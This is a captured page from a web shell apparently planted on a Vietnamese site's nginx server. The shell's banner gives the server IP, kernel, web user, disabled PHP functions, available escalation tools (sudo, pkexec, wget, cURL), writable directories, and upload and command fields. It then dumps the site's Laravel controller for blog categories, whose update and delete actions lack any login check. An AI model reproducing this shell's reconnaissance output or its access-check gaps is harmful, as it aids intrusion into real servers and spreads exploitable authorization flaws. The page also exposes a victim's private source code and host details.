403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/tipsysaigon.vn/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tipsysaigon.vn/app/Http/Controllers/CategoryPost.php
<?php

namespace App\Http\Controllers;


use Illuminate\Http\Request;
use DB;
use App\Models\Slider;

// use CategoryProductModel;
use App\Models\Category;
use Session;
use Auth;
use App\Models\CatePost;
use App\Models\Post;
use App\Http\Requests;
use Illuminate\Support\Facades\Redirect;

class CategoryPost extends Controller
{
	 public function AuthLogin() {
        $admin_id=session::get('admin_id');
        if($admin_id){
            return Redirect::to('dashboard');
        }
        else{
        return Redirect::to('admin')->send();
        }
    }

    public function add_category_post(){
        $this->AuthLogin();
    	return view('admin.category_post.add_category');
    }
	public function save_category_post(Request $request){
        $this->AuthLogin();
    	$data = $request->all();
    	$category_post = new CatePost();
    	$category_post->cate_post_name = $data['cate_post_name'];
    	$category_post->cate_post_slug = $data['cate_post_slug'];
    	$category_post->cate_post_desc = $data['cate_post_desc'];
    	$category_post->cate_post_status = $data['cate_post_status'];
    	$category_post->save();
    	Session::put('message','Thêm danh mục bài viết thành công');
    	return redirect()->back();
    }
    
    public function all_category_post(){
        $this->AuthLogin();

        $category_post = CatePost::orderBy('cate_post_id','DESC')->paginate(5);

    	return view('admin/category_post/list_category')->with(compact('category_post'));


    }
  
    public function edit_category_post($category_post_id){
        $this->AuthLogin();

      	$category_post = CatePost::find($category_post_id);

        return view('admin.category_post.edit_category')->with(compact('category_post'));
    }
    public function update_category_post(Request $request, $cate_id){
    
    	$data = $request->all();
    	$category_post = CatePost::find($cate_id);
    	$category_post->cate_post_name = $data['cate_post_name'];
    	$category_post->cate_post_slug = $data['cate_post_slug'];
    	$category_post->cate_post_desc = $data['cate_post_desc'];
    	$category_post->cate_post_status = $data['cate_post_status'];
    	$category_post->save();
    	Session::put('message','Cập nhật danh mục bài viết thành công');
    	return redirect('/all-category-post');
    }
   	public function delete_category_post($cate_id){
   		$category_post = CatePost::find($cate_id);
   		$category_post->delete();
    	Session::put('message','Xóa danh mục bài viết thành công');
    	return redirect()->back();

   	}
  
}

Youez - 2016 - github.com/yon3zu
LinuXploit